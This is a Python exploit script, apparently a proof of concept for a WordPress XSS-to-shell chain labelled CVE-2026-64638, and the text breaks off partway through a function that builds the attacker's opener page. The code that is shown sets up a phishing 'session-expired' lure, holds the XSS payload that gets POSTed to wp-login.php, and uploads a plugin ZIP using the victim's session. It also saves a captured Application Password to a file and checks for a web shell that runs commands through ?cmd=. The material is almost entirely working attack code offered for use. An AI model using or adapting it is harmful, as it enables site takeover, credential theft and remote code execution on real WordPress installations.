#!/usr/bin/env python3 import argparse import base64 import io import json import os import socket import sys import threading import time import urllib.parse import urllib.request import uuid import zipfile from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer BANNER = r""" __ __ _ _____ \ \ / / | |/ ____| \ \ /\ / /__ _ __ __| | (___ ___ ___ \ \/ \/ / _ \| '__/ _` |\___ \ / _ \/ __| \ /\ / (_) | | | (_| |____) | __/ (__ \/ \/ \___/|_| \__,_|_____/ \___|\___| xss2shell & CVE-2026-64638 | https://wordsec.net/ - Education Purpose Only """ UA = "WordSec (https://wordsec.net/ | Education Purpose Only; XSS2Shell PoC)" PLUGIN_SLUG = "xss2shell" APP_NAME = "XSS2Shell-Poc-Wordsec" CREDS_FILE = "xss2shell_creds.json" G = { "site": None, "origin": None, "success_url": None, "app_id": None, "blogname": "WordPress", "delay_ms": 3000, "steps": [], "step_set": set(), "captured": None, "published": None, } STEP_MSG = { "lure_loaded": "[+] Victim opened the attacker page (session-expired lure)", "opener_loaded": "[+] Exploit started in the victim's browser", "child_written": "[+] Child popup document initialized", "child_ready": "[+] Popup window ready, XSS payload prepared", "submit_sent": "[+] XSS payload POSTed to wp-login.php", "upload_started": "[+] Plugin ZIP upload request sent with the victim's session", } def set_step(name, msg=""): if name not in G["step_set"]: G["step_set"].add(name) G["steps"].append((name, msg)) def load_creds(site=None): try: with open(CREDS_FILE) as f: data = json.load(f) except Exception: return None saved_site = data.get("site") or data.get("site_url") if site and saved_site and saved_site != site: return None return data def save_creds(creds): creds = dict(creds) creds["saved_at"] = time.strftime("%Y-%m-%d %H:%M:%S") if not creds.get("shell_url"): creds["shell_url"] = (creds.get("site_url") or "").rstrip("/") \ + f"/wp-content/plugins/{PLUGIN_SLUG}/shell.php" try: with open(CREDS_FILE, "w") as f: json.dump(creds, f, indent=2) print(f"[+] Application Password saved to {CREDS_FILE} for later runs " f"(shell: {creds['shell_url']})") except Exception as e: print(f"[*] could not save credentials to {CREDS_FILE}: {e}") def http_get(url): req = urllib.request.Request(url, headers={"User-Agent": UA}) try: with urllib.request.urlopen(req, timeout=20) as r: return r.status, r.read().decode("utf-8", "replace") except urllib.error.HTTPError as e: return e.code, e.read().decode("utf-8", "replace") except Exception as e: raise def http_json(url, data=None, headers=None, method=None): h = dict(headers or {}) h.setdefault("User-Agent", UA) req = urllib.request.Request( url, data=(json.dumps(data).encode() if data is not None else None), headers=h, method=method, ) try: with urllib.request.urlopen(req, timeout=20) as r: return json.loads(r.read().decode()) except urllib.error.HTTPError as e: body = e.read().decode("utf-8", "replace") try: return json.loads(body) except Exception: return {"_http_error": e.code, "_body": body[:500]} def basic_auth_header(user_login, password): token = base64.b64encode(f"{user_login}:{password}".encode()).decode() return {"Authorization": "Basic " + token, "Content-Type": "application/json"} def shell_alive(shell_url): try: r = http_json(shell_url + "?cmd=" + urllib.parse.quote("id")) return bool(r.get("rce")) except Exception: return False def build_opener_page(): import html origin = G["origin"] site = G["site"] delay = int(G["delay_ms"]) payload = ( "< area id=ajaxurl href=/?rest_route=/&_method=GET" "&_jsonp=window.opener.approve.click&_envelope=1>" "< div id=color-picker class=reset-pass-submit>" '< button class="wp-generate-pw color-option">X' ) value = html.escape(payload, quote=True) return """